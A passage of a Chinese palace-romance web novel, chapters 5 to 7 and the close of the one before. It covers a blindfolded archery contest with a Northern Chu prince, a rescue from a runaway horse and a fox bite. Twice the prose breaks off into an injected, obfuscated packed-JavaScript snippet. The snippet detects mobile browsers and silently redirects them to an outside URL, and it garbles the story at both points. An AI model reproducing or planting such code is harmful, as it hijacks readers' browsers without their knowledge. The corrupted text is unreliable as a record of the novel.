颜嘉柔越想越觉得这卓沙着实气人,她再怎么讨厌萧彻,他也是他们魏国人,还轮不到他们北楚的人来欺负。 她并不是个能沉心静气的,正要上前讥讽卓沙两句,却被一旁的萧珏拉住,对她轻轻摇了摇头。 颜嘉柔一愣,方才回过神来,她这性子,贸然开口,只怕反而坏事。 她眼睫轻颤,抿了抿嘴唇,重新将目光投放在了萧彻身上。 或许是见惯了萧彻游刃有余地应对各类场面,永远不费力气地夺取全场的目光,抢尽风头,所以她就是下意识地相信,他能处理好眼下的突发状况。 萧彻唇边噙了丝淡淡的笑,眼底却分明泛着冷意,看向卓沙道:“哦?那你想怎样?” 卓沙道:“三皇子既有一半兰陵族人的血脉,自然异于常人,虽胜了小王,却不免胜之不武。小王与贵国皇子的比赛,说到底是北楚与大魏的较量,既如此,为公平起见,自然是要请贵国更换一名皇子,与小王再行比试了。” 说完以手握拳抵肩,躬身朝魏元帝所在的方向行了一个礼:“还请大魏陛下应允。” 魏元帝脸色微变。 卓沙此言,似乎没有拒绝的道理。 只是萧珏和萧衍并不擅骑射,两人中萧衍骑射略好些,偏前段时间伤了腿,无力策马。 而萧珏,骑射的资质太过平庸,更无胜算,若是输了,不但会让他失了作为一国储君的颜面,而且此事也关乎国体,想他泱泱大国,百国来朝,威名远扬,何等壮观,自当是人才辈出,怎可输给区区北楚? 若是传出去,岂不有损□□盛威? 魏元帝面色凝重,底下四坐的大臣也纷纷交头低语。 卓沙勾唇,眼中闪过一丝讥诮与轻蔑。 恰是时,身后突然传来一声低笑,卓沙回头见是萧彻,略一皱眉,眯眼探究道:“三殿下,你笑什么?” 萧彻懒洋洋地一掀眸,似笑非笑道:“没什么,只是觉得卓沙王子的话未免可笑——” “你也见到了,我二哥腿受了伤,无力策马,如何与你比试?你说要换一位皇子,不如直接说换太子与你比试。可是堂堂大魏太子,一国储君,身上的担子何其重,怎可轻易下场与你比试,若是有个好歹,只怕你北楚倾举国之力也担待不起。” 卓沙一噎,脸色一阵青白:“你……” 半晌,只咬牙切齿地憋出一句:“那依三殿下所言,该当如何?” 萧彻漫不经心地一挑眉,只道:“那自然,是要委屈卓沙王子依旧与在下比试了。” 不等卓沙开口质问,又慢悠悠补了一句:“放心,这回不会让你吃了亏去。” 说完转身朝两侧坐席走去,目光四顾,似乎是在寻找什么。 卓沙盯着他的背影,双眉紧蹙,目露探寻。 有关兰陵族人的传闻实在太多,容貌昳丽,多智近妖,今日见到萧彻,传言一一得到验证,此番也不知道他究竟要搞什么名堂。 所有人的目光都汇聚在了他的身上。 包括颜嘉柔。 她看着萧彻一步步地朝自己走来,唇角含了丝玩味的笑,就像每次他要捉弄她时的神情。 她吞咽了一口口水,忽然变得十分紧张。 或许是不知道萧彻要干什么,又或许是在大庭广众之下,所有人的目光都在他身上,而他却看向她,朝她一步步走来,连带着也将众人的目光引到了她的身上。 及至萧彻走到近前,唇边的笑意愈发得浓,却一时并不说话,只低头看向桌案,倏尔伸手勾带起了一物:“这个,借我一用。” 颜嘉柔这才回过神来,抬头一看,萧彻冷白的指尖上缠绕着的,不正是刚才她被茶水打湿后解下的腰带么? 嘉柔的脸腾得变红了,结结巴巴地道:“你……你拿我这个做什么?” 萧彻挑眉,唇边浮上一丝笑,只道:“待会儿就知道了。” 说完在众人的目光下重新走回座前,将腰带覆于眼上,系在发间,又从一旁的内监手上接过弓箭。 天边有两头黑鹰比翼飞过,萧彻耳廓微动,倏地举起弓箭,弯弓扣弦,片刻后猛地松开五指,羽箭如飒沓流星,骤然划过天际,去势迅疾。 黑鹰待要闪避,已然不及,羽箭从头颅穿过,去势未减,又贯穿了并排黑鹰的腹部。 两头黑鹰被一支羽箭贯穿,双双坠落。 真正是一箭双雕。 一箭双雕已然不易,萧彻竟还蒙着眼! 四座无不惊叹,议论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791809|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷。 颜嘉柔怔怔地看着萧彻,他的双眼还覆着她的腰带,那是她的贴身之物……想到这里,她不禁一阵耳热,好在她的腰带款式特殊,是她自己命尚衣局制作的,与寻常女眷所用不同,旁人也看不出那是女子的腰带。 覆在他的眼上,竟不觉突兀,系在脑后的一截,在风中猎猎飞舞,越发衬得他出尘飘然,仿若天人。 眉眼被遮去后,反而凸显出他骨相的优越,高挺的鼻梁,分明收窄的下颌……一寸一厘,都像是被精心雕琢而成。 山间日光正盛,金光被树叶过滤成一个个光斑,斑驳地跳跃在他淡色的唇上,引人一阵目眩。 颜嘉柔看了他好久,直到他一把扯下覆在他眼睛上的腰带,她才回过神来。 萧彻的眸色很淡,在阳光下显现出一种浅茶色,颇有摄人之感。 他略扯了唇角,看向卓沙道:“卓沙王子,你说我有一半兰陵族人的血脉,体质天生异于常人,而你不过是常人,我即便赢了你,也是胜之不武……” “可常人都有双目,方才我遮去双目,难道还不足以抵消这一半血脉带来的影响,做回一个常人么?” “既然如此,我方才遮目射鹰,一箭双雕,卓沙王子,你无须遮目,只需与我一样一箭射下两只黑鹰,便算作你赢,如何?” “你……”卓沙脸色变了好几轮,一时青一时红,只是说不出话来。 一箭双雕,哪里是那么容易办到的?黑鹰大多单飞,似方才那般成双成对,本就可遇不可求……是了,萧彻一定是恰好窥见了双飞的黑鹰,又算到了这点,才故意设计这一出,引他入局。 呵,兰陵族人,果真心计深沉。 更何况即便真让他寻到了时机,他就算不遮目,也未必有一箭射穿双雕的准头与腕力。 这场比试,他怎么都是输。 而萧彻遮目之举,看似是让步,实则把他逼到无路可退、无话可说的地步,卓沙别无选择,一咬牙,只能道:“不用比了,小王认输就是。” 萧彻“哦?”了一声,低头漫不经心地抚着长弓,拖长音调,慢悠悠地反问:“那这回,可是心服口服了?” “你!”卓沙握紧拳头,额角青筋凸起,欲再说什么,到底还是别过了头,不情不愿地“嗯”了一声。 北楚的挑衅与叫嚣,被萧彻以一种出人意料的方式,轻松化解了。 颜嘉柔看得解气,忍不住也弯起唇角,正想跟一旁的萧珏说话,让他也看看北楚王子那个吃瘪的模样,一抬头,却正好撞上他的目光。 颜嘉柔微微一愣:“太子哥哥……”她不知道为什么萧珏不随着众人去看萧彻和卓沙,反倒不知道什么时候将目光落在了自己的身上,他一直在看自己么? 萧珏只是温和地笑了笑,眼神中有她看不懂的东西,若有所思地道:“嘉柔的目光,好像一直没离开过三弟。” 颜嘉柔愣了一下,着急地辩解道:“我……我……可是大家都在看他……” “是啊,他总是能轻易吸引众人的目光,”萧珏的声音很轻,似在喃喃,看向她的目光,却仿佛能直击人的内心深处,让人无所遁形:“大家都在看他,目光无法从他身上移开,是件再正常不过的事。既然如此,嘉柔,你又何必急于分辨呢?” 颜嘉柔张了张嘴,眼神流露出一种无措的茫然,一时不知道该说些什么。 萧珏看着她:“嘉柔,你有时望向三弟时,眼神格外得明亮。你见到孤时,虽也满眼欢喜,却并不似望向他那般。” 颜嘉柔不解其意,只下意识地回道:“我喜欢的人是你又不是他,看向他时的眼神与你的,自然不一样了。” 萧珏闻言,眼神便渐渐柔和下来,唇边含着温柔笑意,爱意在眉眼间缱绻流淌开来:“小嘉柔,但愿如此。” 5. 第 5 章 卓沙就此认输,萧彻赢了这一局,着实令大魏再添盛名。 魏元帝龙颜大悦,当即便要下令赏赐萧彻。 偏出来狩猎,身边也没个能赏赐的物件,便临时起意,将一匹原本用来赏赐给萧珏的雪花骢转而赏给萧彻。 过两日便是萧珏的生辰,恰好魏元帝得了这匹雪花骢,也是机缘巧合,赶上骊山狩猎,便索性一道带了出来,想着在宴上寻个合适的时机赐给萧珏。 雪花骢便如其名,通体雪白,耐力极好,是一等一的骏马,更难得的是性子温顺,极好驾驭,萧珏想练骑射,却没有能耐驯服烈马,赏赐他雪花骢最合适不过。 而萧彻,非难驯的烈马不能与之匹配,只可惜眼下没有合适的,便先赏他一匹雪花骢,不管怎么说,这也是匹极为名贵的千里良驹。 至于萧珏,回头再替他寻觅一匹也就是了。 魏元帝赏赐的旨意刚下,萧彻还没来得及接旨,二皇子萧衍却忽然从座位上站了起来,喉结滚动了两遭,目光有几分急切,欲言又止道:“父皇,三弟向来爱驯烈马,您赏他雪花骢恐怕不合适……不如……不如赏些别的?” 萧衍向来聪明圆滑,最会揣摩圣意,也因此颇得圣心,今日却一反常态,竟扫起魏元帝的兴致来了。 果然魏元帝闻言当即眉心皱起,沉声道:“怎么,衍儿的意思是朕赏得不对,不合彻儿的心意?” 萧衍面露难色:“父皇,儿臣……” 萧彻见状起身,及时替萧衍解围道:“父皇莫怪,二哥素来以为儿臣只驯烈马,因此才有此言,这正是二哥关爱兄弟的表现。” “可二哥只知其一,不明其二,烈马儿臣驯得多了,偶得一匹温顺的,瞧着倒新鲜,何况这匹雪花骢通体雪白,模样生得极好,光是看着就颇为喜欢,儿臣多谢父皇了。” 魏元帝大笑道:“如此甚好,是衍儿不懂,谁说这马不能与你匹配,旁的不说,模样就配得上你。” 颜嘉柔闻言朝那匹雪花骢望去,眼前不由得一亮,转头向魏元帝脆声道:“陛下的眼光真好,真是好漂亮的一匹马儿!” ——她与魏元帝向来亲近,相处也从不拘着什么。 魏元帝闻言哈哈笑道:“我们嘉柔的眼光也不错,怎么样,此前没见过这么俊的马吧?” 说话间忽然想起什么,心念一动,问道:“朕记得你前不久也学了骑马,不知如今马术如何,这雪花骢温顺,你又喜欢,不如上去骑两圈?” 颜嘉柔眼睛一亮,神情难掩兴奋:“真的么?我可以试试么?” 还不等魏元帝回答,身后传来萧彻懒洋洋的嗓音,带着几分散漫,轻笑了声:“父皇,这可是您赏我的马,怎么能让旁人先骑?再怎么,也得我先试了才能让某人上去。” 颜嘉柔一愣,后知后觉反应过来她正是萧彻口中的某人本人。 “你!”她转头瞪了他一眼:“小气!” 魏元帝哈哈笑道:“你们啊,总是那样爱吵闹。也罢,毕竟是赏给彻儿的马,便先让他去骑两圈过过瘾,我们嘉柔也并不急于一时,是不是?嘉柔最懂事了。” 魏元帝这顶高帽一戴,颜嘉柔不懂事也得懂事了,何况这样的话听着,虽没称她的意,但也听着顺耳:“自然了,父皇,我可不会与某人一般见识。” “某人”唇角微勾,也不说什么,径直走向马匹,抚摸了几下马背,之后脚踩马镫,利落地翻身上马,一勒缰绳,策马扬长而去。 日光落在青年的身上,俊美的侧脸被镀上了一层淡淡的光圈,他骑在马背上,脊背有少年人特有的清薄,身姿挺拔,气质卓绝。 颜嘉柔始知魏元帝着实好眼光,这匹马的确很配他。 不消片刻,萧彻便策马而返。 这倒是让颜嘉柔有些意外,她还以为萧彻会有意刁难她,让她等很久呢,没想到这么快就回来了。 他驱马停在她身前,勒紧缰绳,居高临下地看了她一眼,朝她扬了一下眉:“好了,轮到你了。”他道:“你可以上来了。” 说完从马背上跳了下来,径直走向她。 颜嘉柔方才反应过来,不满地哼了一声,萧闻祈这个人,向来这么讨厌,第一次让她骑又怎么了,非得让他骑过才能轮得着她么? 不过算了,这毕竟是他的马,她腹诽一阵也就作罢。 在他的注视下,她走到马旁,他竟跟了过来,大发慈悲地指点她上马,颜嘉柔虽感意外,不过还是乖乖照做了,她虽然也会,不过萧彻的指点显然更适用。 她扶着马鞍,正要上马,却不知为何,心里有些发怵。 她从前惯常骑的都是她自己的那匹枣红小马,而这匹雪花骢,虽然性情温顺,但生得十分高大,她又是第一次骑,难免生出惧意。 脚踩在马镫上,她正犹豫不决时,腰上却忽然搭上来一只手,一股力道托举着她往上,颜嘉柔一愣,听到一旁传来萧彻的声音,略往下压低了,透着悦耳的磁性:“别怕,替你试骑过了,这匹马性子出奇的温顺,很好掌控,你一勒缰绳,它就会停下,不会有问题的。” 颜嘉柔怔了一下,低头咬着唇,一时只觉脑子一片混乱,萧彻他……他要第一个骑马不是为了为难她,而是为了替她试马?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14791810|158141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 腰间传来温热的触感,那是独属于他身上的温度,萧闻祈虽然在她面前十分烦人,但在旁人眼中,一贯是不怎么爱搭理人的。 极张扬的一张脸,偏生不笑时,脸上便自带冷意,眉眼内敛,高不可攀,仿佛雪淞冰雾,冰清玉洁,却没想到身上的温度竟有一种灼人的烫。 他们鲜少有这样亲密接触的时候,颜嘉柔一时没反应过来,只觉得热意从他的掌心源源不断地渡到她的腰身,又渐渐蔓延至四肢百骸,很奇怪的感受,连带着脸都发烫了。 她慌忙收回了手,萧闻祈一抬眉,仿佛也才回过神来,唇角扯出一抹弧度,要笑不笑,懒洋洋地道:“皇妹这么磨蹭,那干脆别骑了。” 颜嘉柔抬头,正好撞进他一双茶色的瞳仁里。 眼底是熟悉的揶揄与玩味,略带着几分散漫看向她。 她竟松了一口气,是了,这才是素日里她认识的那个萧彻,嚣张又恶劣。 方才那个荒谬的猜想,以为他是特意替她试马,不过是她的错觉罢了。 颜嘉柔呼出一口气,摒弃掉心中乱七八糟的杂念,加之她一向最受不了萧彻的激将法,听他这么一说,便咬了咬牙,一口气蹬上了马。 稳当地坐在马背上之后,她朝他得意地扬了扬下巴,趁无人注意,又对他吐了吐舌头。 萧彻轻笑了声。 —— 颜嘉柔骑坐在那匹雪花骢上,拉着缰绳,纵马绕着营帐外围慢跑,一开始一切都很正常,正如萧彻之前说的那样,这匹雪花骢性格出奇的温顺,很好掌控,她也渐渐觉得适应,开始加快速度。 变故出现在第三圈。 雪花骢像是突然受了某种刺激,仰天长啸,继而发了狂似得尥蹶子,试图把颜嘉柔摔下来。 这一变故来得太过突然,谁也想不到会突然出现这样的事,在场的人都吓得呆在了原地,颜嘉柔更是脸色煞白,身子不受控制地上下剧烈摇晃,险些就要摔下马背。 雪花骢虽然出了名的性情温顺,可它的体型也异常高大,足有七尺高,这就意味着一旦它发狂不受控制,将人从马背上摔下来,后果不堪设想,更不用说它的铁蹄重于千斤,被其踩踏,非死即残。 ——而一旦坠马,被发狂的马踩踏,几乎是必然会发生的事。 在灭顶的惊慌与恐惧中,连感官都变得混沌,颜嘉柔大脑一片空白,仿佛坠入了迷雾中,危机四伏,她却勘不破出口。 这时她忽然听到一人的声音响起,穿透重重迷雾,替她拨开一线天光:别怕,勒紧缰绳,夹紧马肚! 是萧彻的声音! 6. 第 6 章 他的声音清透无比,向来极具辨识度,不知道为什么,或许是深知萧彻的马术精湛,在听到他声音的一刹那,她莫名觉得心安,于是连忙照做,方才不至于摔下去。 只是雪花骢狂性大发,见无法将她从马背上摔下,便仰天嘶鸣,猛地朝着西侧密林狂奔而去。 一切都在电光火石之间,不过须臾,雪花骢便载着颜嘉柔隐没于密林中,一旦脱离视线,情况只会越发危急。 萧彻脸色骤变,连忙跨上一旁的一匹红鬃马,猛地抽动马鞭,一路朝颜嘉柔消失的方向狂追而去。 西边的密林树影婆娑,横生的枝杈阻挡了雪花骢的去势,萧彻很快便追上了它。 耳边是猎猎作响的风声,他一瞬不瞬地盯着她,喉结滚动,朝她伸出了手:“清河,把手给我!” 颜嘉柔被马颠簸得头晕目眩,几乎快要失去意识,无非是牢牢记得萧彻说的话,才能本能地死死夹紧马肚,不让自己掉下去。 闻言慢慢转过了脸,见萧彻的一张脸此刻竟然近在咫尺,眼眶瞬间变得酸涩,她从没有哪一刻这么渴望见到他。 他样貌出挑,旁人总说他仿若天人,她因向来看不惯他,并不以为然。此刻他的突然出现,倒真如救世的天人一般,让她心中为之一震。 眼下他是唯一的救世主,是她的救命稻草,她自然要牢牢抓住。 她也从没有哪一刻,在他面前这般示弱,可见是怕到了极点, 几乎是哀求着他:“萧闻祈,救我……” 萧彻微微一愣,蹙着眉,神色也是少有的正经:“笨蛋,我自然会救你——我一定会救你,乖,把手给我。” 她也难得在他面前那般乖顺,连连点了点头,将手颤巍巍地递了过去,将将要让他握住时,身下的雪花骢忽然猛地一耸,又将她带离了开去,这回她却是不敢再递手了,唯恐中途摔下马去:“萧闻祈,我……我怕……” 萧彻蹙紧了眉。 他沉吟片刻,依旧策马追在她身侧,瞄准时机,扯过她的缰绳,借力起身,一跃落坐在了她的身后。 颜嘉柔只觉后背抵靠上一个温热坚硬的胸膛,熟悉的气息瞬间包裹住了她。 她后知后觉地反应过来,猛地睁圆了眼睛:“萧闻祈,你疯了?!” 须知这匹雪花骢已然发狂,马背上的人随时都有丧命的风险,只有下马的人,又岂有明明可以置身事外,却又上马的道理? 萧闻祈可不是疯了? 头顶上方却传来他的一声轻笑,依旧是懒散的语调,漫不在乎似得:“怎么,怕我死?” 颜嘉柔哼了一声扭过脸道:“才不是,我只是不想和你这个死对头死在一块!” 萧彻笑了笑:“和我死在一块不好么,既是死对头,自然是无论生死都要纠缠在一块了。” 他低下头,气息若有似无地落在她的耳侧,是一种淡淡的沉水香,低哑的嗓音竟透出一种摄人的蛊惑:“倘若我制服不了这匹疯马,皇妹,你就陪我死同穴,好不好?” 颜嘉柔怔了一瞬,等回过神来后,不免恼道:“我才不要!萧闻祈,你讨厌死了!”这个时候,居然还在吓她! “讨厌?”萧彻低笑了声,将那两个字放在舌尖慢慢滚了一遭,若有所思地道:“我从来不怕你讨厌我,只怕你不够讨厌我,转头便将我抛到脑后。” 颜嘉柔听不懂,在这样危急的关头,也无暇去分辨他这话中的深意,眼见身下的雪花骢又狂性大发,躁动难控,前面不远处是一棵千年圆柏,枝干粗壮无比,非数人通力不能将其合抱,而雪花骢显是失了理智,竟像是看不见似得,不减去势,仍是向前横冲直撞。 眼见便要撞上那颗圆柏了,若是迎头撞上,多半是人马俱亡,颜嘉柔痛苦地闭上眼睛,失声哭道:“萧彻,完了,我要死了!” 耳边却传来萧彻若有似无的一声轻笑,带着几分玩世不恭的意味,却又莫名让人觉得无比笃信:“放心,有我在,你死不了。” 话音刚落,他便俯身从皂靴内侧取出一把匕首,用嘴咬掉外鞘,刀刃在日光下寒芒湛湛,上好的玄铁打造,极是锋利。 寒芒映照在他茶色的眼底,分明平静的一双眼中,却划过一道凝滞的杀意。 手起刀落,锋利的匕首被刺入雪花骢的颈项,血柱刹那间喷涌而出,雪花骢痛苦地仰天哀嚎,颜嘉柔在马背上愈发不稳,萧彻皱眉,一手勾按着她的腰肢,另一只手握着匕首,又以极快的速度朝雪花骢的颈项猛刺几刀。 终于身下的雪花骢渐渐难以支撑,在它倒下的前一瞬,萧彻吹响口哨,一旁的红鬃马立刻挨近,萧彻按握着颜嘉柔的腰肋,向上一提,将她送到红鬃马的马背上,自己则纵身跳下了马背,他甫一落地,只听咚的一声,高大异常的雪花骢轰然倒地,抽搐了几下后便气绝身亡了。 颜嘉柔惊魂未定,浑不觉身上的衣裙在方才林间穿行时就已经被树枝划破,胸前半露,颤颤地半掩在破损的衣衫布料间,白腻的肌肤若隐若现。 萧彻走到红鬃马旁,伸手去扶她下马,颜嘉柔将手递了过去,萧彻略一使力,便将她拉下了马背,另一只手虚虚扶着她的后腰,防止她站立不稳。 颜嘉柔倒是站稳了,只是这一番动作下来,胸前的春光更是外泄得厉害,她一开始并没有察觉,直到抬头去看萧彻,发现他竟十分不自然地别过了视线。 她与他吵闹了那么多年,从未见他有过这样的神情。 正迷茫不解间,见他咳嗽了一声,提醒她道:“你……你的衣服……” 她这才低头看向自己的衣服,顿时花容失色,“啊”得一声扬手便打了他一巴掌:“混蛋,萧闻祈,你都看到了!” 这一巴掌力道并不如何大,却着实把萧彻给打懵了。 淬玉的脸上浮上了淡淡的五指印痕,萧彻嗤了一声,用拇指擦拭了唇角,气极反笑:“清河公主,你就是这么对待你的救命恩人的?这般恩将仇报?” “我……”颜嘉柔慌忙拢紧衣领,她在萧彻面前最重面子,从不肯落下半分,即使知道自己错了,嘴上也不肯服软,当即反讥道:“我怎么了?我让你救我了吗!再说了,萧彻,这不是你应该做的么?” “我还没说你呢,你当初是怎么跟我说的,你说这匹雪花骢性格温顺,不会有事,结果呢,我险些被它害死了!你向来不喜欢我,看不惯我,所以故意整我对不对?” “谁知道玩过火了,眼看就要闯大祸了,所以才不得不来救我,是不是?场外的人中,数你马术最好,不是你救又能是谁?祸是你闯出来的,你救我,本就天经地义,我才不会感激你呢!” 萧彻看着她,眉眼间渐渐覆上一层冷意:“你说,我是故意让雪花骢失控发狂,好来借机整你?你竟这么想我?” 他极短促地笑了一声,嗓音微沉:“呵,颜嘉柔,从小到大,这么多年过去了,你还是一样的没良心。” 颜嘉柔这时也意识到自己话说的过分了,紧咬着唇瓣:“我……” 她自然知道萧彻再怎么不喜她,也不至于开这样的玩笑,这可是关乎性命的事情,何况他刚才也算是以命相救,若是有心整她,装装样子追出来也就是了,何苦为她豁出性命? 可她一贯 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他低头打量她片刻,伸手拨开她紧紧攥在胸前的手,转而用白花做扣,将胸前被划破的布料别在一起,萧彻的手指灵活,一番动作下白花宛如天然的扣饰,将破损的衣衫系在一处,重归完好,看不出丝毫破绽。 颜嘉柔揉了揉眼睛,破涕为笑:“好了,看不出是被树枝划破了……” 小姑娘喜形于色,欢喜生气全挂在脸上,半点瞒不了人,虽则从小被他们几个宠坏了,未免骄纵,却也有一种鲜活的娇憨。 萧彻弯起唇角,收回了手,手指微微蜷缩,指尖还残留着刚才无意间触碰到她胸前肌肤的触觉,牛乳一般,软滑得过分。 萧彻垂下眼帘,目光几不可察地动了一下。 颜嘉柔性子转变得快,眼见衣衫不整的问题解决了,她见得了人了,也不必再央著萧彻,便凶巴巴地警告道:“萧闻祈,今日之事,不准说出去,知不知道?” 大魏朝民风虽然开放,但也不是全无规矩,当中就有一条,女子若被男子看了私密部位,便要嫁给他。 颜嘉柔难堪地咬住了唇,女子的胸脯,再私密也没有了,这事只能天知地知她和萧彻知——她怎么能够嫁给他,她该是萧珏的新妇。 萧彻显然也猜到了她此时的内心所想,当下面色便冷了下来,面无表情地扫了她一眼,嗤道:“我为什么要说出去?颜嘉柔,你当我是什么人,我还没这么无聊。” “你……” “何况,”萧彻弯腰,一张俊脸陡地逼近,那样好的皮囊,无关素日的恩怨,只是让人本能地呼吸一滞,脸上是一贯漫不在乎的神情,唇角勾起一点笑意,玩世不恭中又掺着几分嘲弄—— “清河公主实在多虑,你不想嫁给我,又怎知我愿意娶你?从前旁人问你,为何那般讨厌我,你说爱慕我的女子可以从城西排到城东,并不缺你一个,既然如此,那样多的女子,你说,我凭什么选你?” 他说着慢慢直起了腰,眼神扫视了她一圈,故意逗她:“我可不喜欢某些……身前胖的。” 萧彻此人,果然最懂如何让她生气,颜嘉柔当即被气得跳脚,刁蛮劲又上来了,张牙舞爪地又要伸手打他:“混蛋,萧闻祈,你说谁胖呢!” 萧彻轻笑:“谁跳脚便是说谁了。” 气得颜嘉柔真要抬手打他,然而那一下终究没落下去,因为她在萧彻的身后看到了一只野狐。 一只很奇怪的野狐。 7. 第 7 章 照理说,骊山上遍地走兽,看到一只野狐并不奇怪,怪就怪在那只野狐看她的眼神。 那样的眼神,并不像一只小动物看人时的眼神,反倒是令她想起了她从前这么作势与萧彻打闹时,那些爱慕萧彻的世家小姐们看她的眼神。 这并不奇怪,她与萧彻向来不对付,她脾气又算不上好,他又总爱闹她,与她作对,有时被萧彻气狠了,上手使劲掐、打他也是有的。 至于萧彻,他从来不会还手,因此两人之间的打闹,不过他是笑着在一旁看她闹罢了,若真算起来,还是他吃亏了。 眼看着心上人被这样作践,那些爱慕他的世家小姐,自然看不惯她,因此她们看她的眼神并不友善,她完全能够理解,可是一只狐狸,怎么也用那样的眼神看她? 一个极荒谬的念头在脑中盘桓,更荒谬的是,她居然将这个念头给说出来了—— “喂,萧闻祈,你身后有只野狐。” “嗯?” “它好像……爱慕你。” “什么?”萧彻皱眉,见她神情认真,突的一声笑了出来:“狐狸?爱慕我?颜嘉柔,你脑子是坏掉了么?” 他眯起眼眸,笑容里多了分促狭与玩味:“是前阵子看那些市井话本,把你这原本就不怎么聪明的脑袋给彻底看坏掉了么?” “你……你不许提那茬!” 话本里的确有不少狐狸精与俏郎君的风流韵事,既说到狐狸,萧彻想到这上面去倒也正常,只是她前阵子在这上面翻了个大跟头,极不愿意他提起这事! 事情是这样的,她一贯爱看些时下流行的话本,前阵子便有一本特别风靡,主要是这男主人公画像特别俊美,因这类话本受众都是些姑娘家,这男主人公画得好,自然大卖。 颜嘉柔也跟风去买了,不知怎么,竟觉得那男主人公颇有几分眼熟,可当下也并未多想,只觉越看越喜欢,也跟别的姑娘小姐家一样,成了这男主人公的追随者,将自己代入到女主人公的角色中,以他夫人自居,唤他一声夫君。 结果她这边跟几位官家小姐夫君长夫君短的浑叫,不多时便听闻一个噩耗——这位男主人公的肖像图设,是以萧彻为蓝本画成的。 老天,怪道这画像的细节那么逼真呢!根本不像是凭空杜撰的人物!原来竟是有蓝本的…… 有蓝本也就罢了,好死不死,居然是以她死对头为蓝本! 这也就罢了,偏她事先还毫不知情,喜欢得不得了,这叫她情何以堪! 她觉得自己被无良话本商贩给狠狠欺骗了感情!哪有这样偷懒的,竟然以真人为蓝本临摹! 以上这些都罢了,最要命的是,这事居然辗转传到了萧彻的耳朵里,其实她后来才知道这类事情不是第一次发生了,但萧彻向来懒得搭理,偏偏这次牵扯到她了,便非得抓住不放了。 那段时间每次见到她,便要走到她跟前,似笑非笑地在她面前问上一句:“夫君?”不把她臊死不肯罢休。 看吧,他便是这样针对她,对旁人可不这样,可见是有多看不惯她——萧彻这个人,简直是讨厌透顶! 回过神来,颜嘉柔越想越觉得羞愤欲死,忍不住狠狠踩了他一脚,再次凶巴巴地警告道:“不许再提那件事,听到了没有!” 萧彻抬眉,唇角微勾,似笑非笑:“哪件事?是你整日里不好好读书,净看那些不正经的话本,还是,你叫我‘夫君’那件事?” 颜嘉柔腾的一下闹了一个大红脸,恼羞成怒道:“谁叫你‘夫君’了?萧彻,你胡说八道什么,少毁我清誉!” “哦?对着以我为蓝本的小像叫夫君,清河公主,你讲点道理,到底是谁毁谁清誉?” 颜嘉柔不想跟他讲道理,只想快点让他闭嘴,于是伸手去捂他嘴,并趁机上手打他、掐他几下泄愤。 萧彻只是抱臂笑着在一旁看她,纵容着她胡闹,任她施为,偶尔她实在失了轻重,才会“嘶”地一声,觑她一眼,语调半真半假地道:“怎么,谋杀亲夫啊?” 颜嘉柔气得又要举起手去打他,其实大多时候也不过装装样子,想起先前已经失手打了他一巴掌,这一巴掌到底没打算落下去,只是在旁人看来,却像是个气势汹汹的模样。 这里自然没有旁人,却有旁狐。 颜嘉柔做梦也没有想到,她正准备放下手时,余光却瞥见萧彻身后的那只野狐突然弓起身子,竖起毛发,眼神透着一股凶劲,正龇牙咧嘴地盯着她,像是随时要朝她扑过来。 还未等她多想,下一刻,野狐像是为了印证她的猜想一般,凌空纵身一跃,便朝她袭来。 一切都发生得太快,野狐身量娇小,模样甚至算得上是可爱,不像寻常猛兽能第一时间引起萧彻的警惕,也因此,尽管他所有的注意力都在颜嘉柔身上,却仍未第一时间察觉到这个潜在的危险。 在他看来,这玩意儿跟颜嘉柔喜欢的小兔子没什么分别,他甚至还想捉了拿去逗她,直到颜嘉柔吃痛得发出一声尖叫。 ——那只看似人畜无害的小狐狸,竟张嘴咬了颜嘉柔! 咬完之后它转身最后看了一眼萧彻,不知是不是他生了恍惚,不过一息之间,小狐狸竟像是凭空消失了一般,竟再也没能在密林中搜寻到它的身影。 原本它咬了颜嘉柔,他必然是要捉住它让她出气的,只是这一下却让它凭空在眼皮子底下溜走了,然而这种关头,他究竟也是顾不上它,连忙蹲下察看颜嘉柔地伤势:“怎么样,疼不疼?” 颜嘉柔向来娇气,平素是一点痛都受不得,这次莫名其妙被野狐咬了一口本就委屈,先前人还懵着,这时后知后觉回味过来了,又被萧彻这么一问,再也受不住,眼睫一颤,豆大的泪珠便落了下来:“……疼……” 萧彻皱眉,立刻搀扶她坐下,褪去她的鞋袜,仔细察看她的伤口。 伤口在脚踝上一寸,不过是一只狐狸,照理不见得有多锋利的爪牙,伤口却极深,齿痕宛然,鲜血浸透了帛袜,她皮肤新雪似得白,便愈发显得伤口触目惊心。 萧彻的眉心越蹙越紧,下颌紧绷,一面连忙从衣摆处扯下一根布条,动手替她包扎。 颜嘉柔从小被几位皇子保护得极好,从未受过什么伤,哪里见过这样的场面,一时间吓坏了,偏腿上的疼痛越来越明显,钻心一般。 通常身上哪里疼,总归心情是不好的,心情一不好,脾气也就大,何况她自小被宠坏了,一贯是大小姐脾气,在别人,尤其是萧珏面前,倒还收敛着点。 但一碰到萧彻,坏脾气总是暴露无遗,反正她向来跟他不对付,他那么讨厌,她有什么好收敛的,当下便发作道:“走开,我不要你包扎,愈发疼了!” 萧彻抬头看了她一眼,喉结滚动,少见的没同她拌嘴,只道:“听话,忍一下。” “不要,说了不要你假好心了!萧彻,都怪你,这样深的伤口,多半要留疤了!我不要留疤……而且好疼啊,我从小到大,几时受过这样严重的伤?这都要怪你,若不是你,那狐狸怎会咬我?” 